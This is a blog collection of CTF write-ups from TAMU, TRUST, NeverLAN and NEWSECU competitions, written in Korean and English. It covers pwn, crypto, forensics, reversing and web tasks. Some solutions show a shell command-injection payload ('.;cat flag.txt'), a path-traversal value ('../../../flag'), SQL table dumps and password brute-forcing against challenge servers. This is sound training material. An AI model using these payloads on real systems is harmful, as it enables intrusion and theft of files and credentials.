32bit elf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int laas()
{
  int result; // eax@2
  char s; // [sp+7h] [bp-21h]@1
 
  puts("ls as a service (laas)(Copyright pending)");
  puts("Enter the arguments you would like to pass to ls:");
  gets(&s);
  if ( strchr(&s, '/') )
    result = puts("No slashes allowed");
  else
    result = run_cmd((int)&s);
  return result;
}
cs

1
2
3
4
5
6
7
8
int __cdecl run_cmd(int a1)
{
  char s; // [sp+2h] [bp-26h]@1
 
  snprintf(&s, 0x1Bu, "ls %s", a1);
  printf("Result of %s:\n"&s);
  return system(&s);
}
cs


no filtering ";".
So, You can use more than one command with ";".

ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
.
Result of ls .:
flag.txt
pwn4
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
.;cat flag.txt
Result of ls .;cat flag.txt:
flag.txt
pwn4
gigem{5y573m_0v3rfl0w}


flag : gigem{5y573m_0v3rfl0w}

EZ



MISC


Howdy!


mic check


flag : gigem{H0wdy!}




Who am I?

100

What is the A record for tamuctf.com?
(Not in standard gigem{flag} format)

Difficulty: easy


I used 'ping' command to find out A record for tmuctf.com


[MS cmd]

>ping tamuctf.com

 Ping tamuctf.com [52.33.57.247] 32바이트 데이터 사용: 


flag : 52.33.57.247




Who do I trust?

100

Who issued the certificate to tamuctf.com?
(Not in standard gigem{flag} format)

Difficulty: easy


ssl checker

https://www.sslshopper.com/ssl-checker.html#hostname=tamuctf.com


I could get ssl issuer


flag : Let's Encrypt Authority X3




Where am I?

100

What is the name of the city where the server for tamuctf.com is located?

(Not in standard gigem{flag} format)

Difficulty: easy


https://iplocation.com/


52.33.57.247


flag : Boardman



I heard you like files.

428

Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.

Difficulty: easy-medium



There is end signature of PNG at 0x340232


base64 encoded string, and PDF file.



I tried decoding base64 string,



Nice try, but there is no flag here.

You should check this music video out though, it's pretty cool.

https://www.youtube.com/watch?v=TuJqUvBj4rE


but it was not a flag..



Then, I exported part of pdf data.


I opened it.


ok... rename .pdf to .zip



i found another png file.


Open it with hex viewer.



pdf file again





found base64 string


flag : flag{P0lYt@r_D0_y0u_G3t_It_N0w?}





MicroServices



0_intrusion

100


Welcome to MicroServices inc, where do all things micro and service oriented!
Recently we got an alert saying there was suspicious traffic on one of our web servers. Can you help us out?

  1. What is the IP Address of the attacker?



open with wireshark.


packets 을 length order로 보면 10.91.9.93 sent many tcp packets to server.


so attacker's ip is 10.91.9.93


flag : 10.91.9.93




Crypto


-.-

244

To 1337-H4X0R:

Our coworker Bob loves a good classical cipher. Unfortunately, he also loves to send everything encrypted with these ciphers. Can you go ahead and decrypt this for me?

Difficulty: easy


dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dit dah-di-di-di-dit dah-di-dit di-di-di-di-dah dah-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dah-dah di-dah dah-dah-di-di-dit di-di-di-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit di-dah di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dah-dah di-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah dah-di-di-di-dit di-di-di-di-dah di-dah dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-dah dah-di-di-di-dit dah-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dit di-di-di-di-dah dit di-di-di-dah-dah dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-dah-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah di-di-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-dah di-di-di-di-dah dah-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-dah-dit di-di-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dah dah-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit dah-di-dit dah-dah-di-di-dit dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-dah-dah-dah dah-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dit di-di-di-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-dah-dah di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-dah dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dit di-di-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah dah-dah-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-dah di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-dah-dah-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit di-dah di-di-dah-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dah di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dah dit di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-di-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dit di-dah di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-dah di-di-di-dah-dah di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-dah-dah dah-dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah dah-dah-dah-dah-dit


4 or 5 개로 이루어져 있는 것으로 보아, they are must be morse code. The title of this task is also - . -


replace

dah ------> _

di , dit ---> .

- to ------>


and decode it!


0X57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149


oh it's hex value.


hex to string https://codebeautify.org/hex-string-converter


Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn!1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI



flag : gigem{C1icK_cl1CK-y0u_h4v3_m4I1}




Reversing


Cheesy

100

easy

Where will you find the flag?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx@1
  __int64 v4; // rdx@1
  __int64 v5; // rdx@1
  __int64 v6; // rdx@1
  __int64 v7; // rdx@1
  __int64 v8; // rdx@1
  int result; // eax@1
  __int64 v10; // rcx@1
  char v11; // [sp+Fh] [bp-41h]@1
  char v12; // [sp+10h] [bp-40h]@1
  __int64 v13; // [sp+38h] [bp-18h]@1
 
  v13 = *MK_FP(__FS__, 40LL);
  std::operator<<<std::char_traits<char>>(&std::cout"QUFBQUFBQUFBQUFBQUFBQQ==\n", envp);
  std::operator<<<std::char_traits<char>>(&std::cout"Hello! I bet you are looking for the flag..\n", v3);
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    "I really like basic encoding.. can you tell what kind I used??\n",
    v4);
  std::operator<<<std::char_traits<char>>(&std::cout"RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn\n", v5);
  std::operator<<<std::char_traits<char>>(&std::cout"Q2FuIHlvdSByZWNvZ25pemUgYmFzZTY0Pz8=\n", v6);
  std::operator<<<std::char_traits<char>>(&std::cout"RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn\n", v7);
  std::allocator<char>::allocator(&v11);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
    &v12,
    "Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==\n",
    &v11);
  std::allocator<char>::~allocator(&v11);
  std::operator<<<std::char_traits<char>>(&std::cout"WW91IGp1c3QgbWlzc2VkIHRoZSBmbGFn\n", v8);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v12);
  result = 0;
  v10 = *MK_FP(__FS__, 40LL) ^ v13;
  return result;
}
cs



Decode a string which is at 28.


flag : gigem{3a5y_R3v3r51N6!}




Snakes over cheese

191

easy

What kind of file is this?


decomplie .pyc file https://python-decompiler.com/


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from datetime import datetime
Fqaa = [1021089710312310010199111109112105108101125]
XidT = [83117112101114831019911410111675101121]
 
def main():
    print 'Clock.exe'
    input = raw_input('>: ').strip()
    kUIl = ''
    for i in XidT:
        kUIl += chr(i)
 
    if input == kUIl:
        alYe = ''
        for i in Fqaa:
            alYe += chr(i)
 
        print alYe
    else:
        print datetime.now()
 
 
if __name__ == '__main__':
    main()

cs


Good


I thought alYe is a flag, because this program prints alYe when the value of input is equal to kUIl.


Convert Fqaa to ascii


flag : flag{decompile}

반응형
반응형

M4ndU


1. Easy Teabo






action_list.txt를 참고하여 예시처럼 출력되도록 코드를 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
def teabo(a):
    a = a.replace('left_jab''@==(^0^)@')
    a = a.replace('left_mid_jab''@=(^0^)@')
    a = a.replace('right_mid_jab''@(^0^)=@')
    a = a.replace('right_jab''@(^0^)==@')
    a = a.replace('left_hook''@(^0^)@==')
    a = a.replace('right_hook''==@(^0^)@')
    a = a.replace('left_speedball''@@@(^0^)')
    a = a.replace('right_speedball''(^0^)@@@')
    a = a.replace('left_kick''@||(^0^)==@')
    a = a.replace('mid_kick''@==(^||^)==@')
    a = a.replace('right_kick''@==(^0^)||@')
    a = a.replace('mid_jab''@(^0^)@')
    a = a.replace('+ ''')
    a = a.replace(' >>''')
    a = a.replace('\n''')
    print(a)
    return a
 
 
= remote("server.trustctf.com"44923)
p.recvuntil('Taebo 1 : ')
order = p.recvline()
p.sendline(teabo(order))
 
for i in range(099):
    print(p.recvuntil(': '))
    order = p.recvline()
    p.sendline(teabo(order))
 
p.interactive()
 
cs


flag : 1 TRUST{w0w_y0u_9o7_4_w0nd3rfu1_b0dy_lik3_m3}




2. IDENTITY_5



apk파일이 주어진다. zip으로 확장자명을 바꿔주고 classes.dex를 추출해서 dex2jar을 이용해 디컴파일을 했다. 그 다음 gui을 이용해 코드를 봤다.


 

mainactivity에서 링크를 찾을 수 있다. 2번째 플래그 조각, qr코드를 스캔하면 문자열이 나온다.




secondhacking에서 4번째 플래그 조각 qr코드 링크를 찾을 수 있다.







apk파일을 압축을 풀어서 \res\drawable\ 폴더에서 flag.png와 flag5.png을 찾을 수 있다.
각각 1번째 5번째 플래그다.

3번째 플래그는 대회 사이트 문제에서 찾을 수 있다. (처음에 없었다가 출제 미스로 생겨났다. 이거 찾느라 2시간이...)

flag : TRUST{Th1s_1s_fl@g_@ndr0id_@dd_Qrc0d3}



3. Starcraft2




스타크래프트 2 맵파일로 보이는 파일이 주어진다.





배틀넷 런처에서 스타크래프트 2 편집기를 실행하고




편집기로 해당 파일을 열면 플래그를 얻을 수 있다.

 

flag : TRUST{FUN}


 


4. MESS




실행해보면 주어진 문자열의 복호화된 값을 입력해주면 플래그가 나올 것 같음을 알 수 있다.

 



올리디버거로 열어서 참조된 문자열을 확인해보면, 정상적인 문자열이 있다.



 


실행을 하면 이 값이 암호화되어 출력된다.



 


암호화되기 전 문자열을 입력해주면 플래그가 나온다.



Flag : TRUST{bBR\t>UHD?5wQ}




5. Archiver


main.py에서 saveArchive함수를 보면,


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def saveArchive():
    url = request.form['url']
    T = int(time.time())
    
    try:
        res = requests.get(url)
    except:  
        return util.alert("Error!")
    
    if res.status_code != 200:
        return util.alert("code is not 200")
    
    data = unicode(res.text)
    hashed = util.hashing(url)
 
    os.system("mkdir %s/%s" % (app.config['path'], hashed))
    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'w')
    fd.write(data)
    fd.close()
 
    return redirect(url_for('main'))
cs


urlT(시간) 값을 받아서 해당 페이지의 내용을 읽어서 아래 경로에 저장해둔다.


/tmp/[random_string]/[url_hashed]/[T]


이때 url은 해시값으로 들어가며, T는 그대로 들어간다.

 

viewArchive 함수를 보면,


1
2
3
4
5
6
7
8
9
def viewArchive():
    url    = request.form['url']
    T      = request.form['T']
    hashed = util.hashing(url)
 
    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')
    data = unicode(fd.read())
    fd.close()
    return render_template('view.html', data=data)
cs


urlT값을 받아 해당 경로에 있는 파일의 내용을 읽어서 출력해준다. 여기서 T값을 이용해 flag를 읽도록 하면 된다.

 

파일을 하나 저장해두고, burp suite를 이용해 T값을 ../../../flag로 조작해주면

파일 경로가 /tmp/[random_string]/[url_hashed]/../../../flag가 되고 main.py/flag을 읽어오게 된다.

 


flag : TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}






번외 - 아쉽게 못 푼 문제.


RSA1




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from time import time
 
def powermod3(a, b, n):
    r = 1
    while b > 0:
        if b & 1 == 1:
            r = r * a % n
        b /= 2
        a = a * a % n
    return r
 
def powermod4(a, b, n):
    if b == 1:
        return a % n
    r = powermod4(a, b / 2, n)
    r = r * r % n
    if (b & 1== 1:
        r = r * a % n
    return r
 
= 1649729212658550722856763813613372
= 1275312736838027047985273062147003
= 1695538043948767252952277333354653
 
starttime = time()
print powermod3(a, b, c)
print time() - starttime
 
starttime = time()
print powermod4(a, b, c)
print time() - starttime
 
cs


(시간함수 빼도 된다.)


나온 값을 두자리씩 끊어서 ascii로 바꿔주면 된다.


복호화값이라길레 그냥 정수값으로 넣어서 인증 못한...





--추가 RSA2


문제 : 

암호화키 e : 34873453193

두 소수의 곱 N : 443961743055319980564015263729

암호문 c : 기록 안해두어서 모릅니다...



N을 소인수분해. https://www.wolframalpha.com/input/?i=factorize+443961743055319980564015263729


rsatool.py 이용해(python rsatool.py -p 657862726787803 -q 674854684689443 -e 34873453193) d를 구해준뒤 rsa1에서 사용한 코드를 이용해 복호화 한 뒤, ascii 돌리면 된다.

반응형
반응형

NeverLAN CTF 2019 


write up by M4ndU





Trivia


SQL Trivia 1

20

The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.


flag : CVE-2000-1233




SQL Trivia 2

20

In MSSQL Injection Whats the query to see what version it is?


flag : SELECT @@version




Sea Quail

20

A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.


flag : SQL




64 Characters

20

A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.


flag : base64




With Some Milk

20

A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.


flag : cookie



Beep Boop

20

A standard used by websites to communicate with web crawlers and other web robots. The standard specifies how to inform the web robot about which areas of the website should not be processed or scanned


flag : robots.txt




Recon


Unexpected intruder

50

occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before.

What was the name of the Intruder?


flag : maxheadroom




Crypto


Alphabet Soup

125

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA



처음에 카이사르로 돌려봤는데 나오질 않아서 치환암호인것 같았다.


https://quipqiup.com/ 자동으로 치환암호를 풀어주는 이 사이트에 clue 없이 돌린다음에 WAFI=FLAG 라는 clue를 넣어주어 완벽한 해독문을 얻을 수 있었다.


flag : DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL





scripting/coding


WebCipher

300

To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here

https://challenges.neverlanctf.com:1160


이게 왜 여기있고, 왜 300점이나 되는지 모르겠는 이상한 문제




페이지에 접속하면 문자열 하나와 입력폼 하나가 있다.


문자열을 카이사르로 돌리면 accelerator 가 나오는데 이를 입력해주면 플래그가 나온다.





사람이 푸는게 아니라 코드를 짜서 풀어야 하는 문제인건가...?




Binary


Binary 2

200

Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information?

***Flag is all caps




.net이다. dotpeek으로 까보면 된다.






바로 flag를 확인할 수 있다. 하나하나 디코딩하기는 귀찮으니 나와있는 id와 pw을 입력해 flag를 출력하게 하면 된다.





flag : flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}





Web


Cookie Monster

20

It's a classic https://challenges.neverlanctf.com:1110



페이지에 들어가면 He's my favorite Red guy 라고 하는데 쿠키몬스터에서 red guy의 이름은 Elmo다. 쿠키값에 그의 이름을 적는 쿠키가 있다. Elmo 를 적어주고 새로고침하면 플래그가 나온다.


flag : flag{YummyC00k13s}




Things are not always what they seem

50

if you can't find it you're not looking hard enough

https://challenges.neverlanctf.com:1165/hello.html


페이지 소스보면 있다. 정확히는 글씨가 하얀색으로 되어 있어서 페이지에서는 안보이는 것이다. 드래그하거나 컨트롤+a 를 하면 볼 수 있다.


flag : flag{Whale_w0u1d_y0u_l00k3y_th3r3}




SQL Fun 1

75

REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table'

https://challenges.neverlanctf.com:1150


SELECT * FROM users WHERE Fname = 'Jimmy'


flag : flag{SQL_F0r_Th3_W1n}




SQL Fun 2

75

REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things

https://challenges.neverlanctf.com:1155


SELECT * FROM users;


idUsernameFnameLnameEmail
1JohnJohnHancockWhyDoYouWantMy@email.com
2JimWillJimmyWillmanSQL@example.com
3CaptinJacksparrowpirates@carribean.com
4N30ZaneDurkininfo@neverlanctf.com
5DisUserTomMillerMiller@example.com


Lname이 Miller인 계정의 아이디는 5다.



SELECT * FROM passwd;


iduser_idPassword
11Tm9wZS4uLiBXcm9uZyB1c2Vy
25ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30=
32Tm9wZS4uLiBXcm9uZyB1c2Vy
43Tm9wZS4uLiBXcm9uZyB1c2Vy
54Tm9wZS4uLiBXcm9uZyB1c2Vy


user_id의 password를 base64 디코딩하면 플래그가 나온다.


flag : flag{W1ll_Y0u_J01N_M3?}




Console

75

You control the browser

https://challenges.neverlanctf.com:1120



조건이 성립했을 때 일어나는 명령어를 크롬 콘솔창에 입력했다 :


$.ajax({

                        type: 'GET',

                        url: '1/key.php',

                        success: function (file_html) {

                            // success

                           foo.innerHTML=(file_html)

                        }

})


그러면 응답 메세지 중에 플래그가 있다.


flag : flag{console_controls_js}

반응형

'CTF Write Up' 카테고리의 다른 글

TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
반응형

M4ndU 41st place 460 points

개인팀으로 문제를 풀다가 2인팀으로 바꿨습니다.


Irin_M4ndU 16th place 1060 points


푼 문제들:

mic_check                 test

What_the...three         crypto

Can you Bruteforcing? Web

goback                 misc

Base64                 misc

Easy_Forensics(1)         forensics

Secret_Code_from...       misc

선물문제(저놈 잡아라)    gift

피보다진한...?               forensics

restore                       misc

Easy_Forensics(2)          forensics


그리고 풀다만 Flag Leaked ...





1. mic_check

test


flag : flag{test}



2. What_the...three

crypto



한때 우리 인류는 외계 생명체에 많은 관심을 가지고 있었다. 그래서 우리 인류는 외계에 지구를 소개하는 데이터를 전파에 넣고 전송을 했었는데,,, 그로부터 10년뒤,, 우리 인류는, 그것도 한국은 외계에서 보낸듯한 메시지를 수신받게 되었다. 그런데, 잠깐,,, 우리 인류가 사용하는 체계의 데이터가 아니었다... 과연 아래의 데이터는 무슨내용일까?

========== DATA START ========== 002121 002211 002102 002122 011120 010002 002101 011001 010112 002122 011111 001220 001210 011011 010112 010002 002101 011000 010112 002212 001220 001210 010222 010112 002122 001210 010112 010002 010220 011011 010112 002112 002101 010121 011122 ========== DATA END ============



3진법이다. 계산해서 ascii로 바꿔주면 된다.


flag : FLAG{S@m_Gy30p_S@l_M30k_G0_Sip_D@a}




3. Can you Bruteforcing?

Web


패스워드 입력 폼이 있는데, 패스워드는 숫자 4자리라고 한다.


burpsuit 돌려서 구했다.


password : 1016

flag : NEWSECU{Can_You_Brute_Force_This_Password} 




4. goback

misc


친구에게 사랑에 빠진 누군가가 있었다.

그 누군가는 드디어 20살이 된 기념으로 친구에게 고백을 하기위해 파일을 작성하였다.

그런데, 그 누군가는 해커기질이 너무 강해서인지,

고백하기 위한 문장 마저 파일 내부에 숨겨버렸는데,,

과연, 그 남자의 운명은 어떻게 될 것인가..


hwp파일이 주어진다.


hwpscan2라는 프로그램으로 까보면 png파일이 하나 있는데, hex(Decompress)로 보면 끝부분에 플래그가 있다.




flag : FLAG{He_was_a_car...}

그는 차였어...........ㅠㅠ



5. Base64
misc


nc 35.237.96.115 1357 base64를 3번 디코딩하라!


코드 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import base64
#context.log_level='debug'
 
def base64ToString(b):
    first = base64.b64decode(b).decode('utf-8')
    return first
 
#connect nc
= remote("35.237.96.115"1357)
 
for i in range(3):
    text = p.recvline()
    dec = base64ToString(text.strip())
    p.recvline()
    p.recvuntil(":")
    p.sendline(dec)
 
p.recvline()
 
cs


flag : FLAG{simple_base64_decoding}




6. Easy_Forensics(1)

forensics


윈도우 로그인 암호를 찾아라!


제가 푼 문제가 아니라서 pass

해시 돌리면 된다고 했던 것 같다.


password : st4rt



7. Secret_Code_from...

misc


이것도 제가 푼 문제가 아니라서 pass



